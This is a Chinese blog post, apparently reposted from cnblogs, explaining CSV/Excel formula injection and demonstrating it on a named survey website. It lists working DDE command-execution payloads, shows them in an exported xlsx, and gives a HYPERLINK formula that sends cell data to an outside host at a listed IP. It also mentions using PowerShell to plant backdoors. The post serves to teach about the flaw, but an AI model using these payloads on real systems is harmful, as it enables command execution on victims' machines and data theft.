

csv注入漏洞原理&&实战

前言

为了找工作，巩固巩固知识。本文会介绍 csv 注入漏洞的原理，最后给出一个示例。

正文

在 csv 文件 和xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识别为一个公式，此时可以注入 系统命令 实现命令执行。

常用 payload：

```
=cmd|' /c calc' !A0      # 弹计算器  
=MSEXCEL|' \.. \.. \..\Windows\System32\cmd.exe /c calc.exe' !' # 弹计算器  
=HYPERLINK("http://vps_ip?test="&A2&A3,"Error: Please click me!") # 发起 http请求 获取数据
```

示例

目标网址

<http://www.starrysurvey.com/>

首先自己创建一个在线报表，然后 让用户 填入 payload

星点调查 新建标签页 + -

www.starrysurvey.com/survey/index/be8f084c-44cd-49d8-8e82-459d5

XXX

1. 第一页

完成度

* 1.xsf dasdf

=cmd|'c calc!A0

完成

This screenshot shows a survey page titled '1. 第一页'. A red box highlights a text input field containing the formula '=cmd|'c calc!A0'. Below the input field is a large blue button labeled '完成' (Finish). The URL in the browser bar is 'www.starrysurvey.com/survey/index/be8f084c-44cd-49d8-8e82-459d5'.

首页 我的调查 地址簿 版本价格 + 创建问卷

设计调查 发布调查 结果分析

XXX

进度查询 结果分析 浏览答卷 下载结果 分享结果

当前报告 调查报告 新建报告

已导出报告列表

导出时间	调查名称	报表名称	操作
2018-03-11 16:33	xxx	调查报告 (结果概要)	下载 删除
2018-03-11 16:32	xxx	调查报告 (结果概要)	下载 删除

下载结果

This screenshot shows the '结果分析' (Analysis) section of the survey platform. It displays a table of exported reports with columns for '导出时间' (Export Time), '调查名称' (Survey Name), '报表名称' (Report Name), and '操作' (Operations). Two rows of data are shown. Red circles highlight the '下载' (Download) and '删除' (Delete) buttons for the second report, and another red circle highlights the '下载结果' (Download Results) button at the top right of the table area.

打开导出的 xlsx 文件，可以看到没被过滤，成功注入了表达式。双击它在点出去（貌似这样才能使 excel 识别这个为一个公式，excel 2007，2010 测试）即可打开计算器

	xsfdasdf			
	=HYPERLINK("http://45.63.0.120:8888?test=&A2&A3, "Error: Please click me")	2018-03-11 16:33		
	=cmd 'c calc' !A0	2018-03-11 16:31		
0				

真正用于渗透测试的话，可以借助 powershell 等手段 植入后门。

参考

<http://www.freebuf.com/articles/system/160797.html>

<https://www.contextis.com/blog/comma-separated-vulnerabilities>

<http://blog.knownsec.com/2016/05/csv-injection-vulnerability/>

来源：<https://www.cnblogs.com/hac425/p/9416941.html>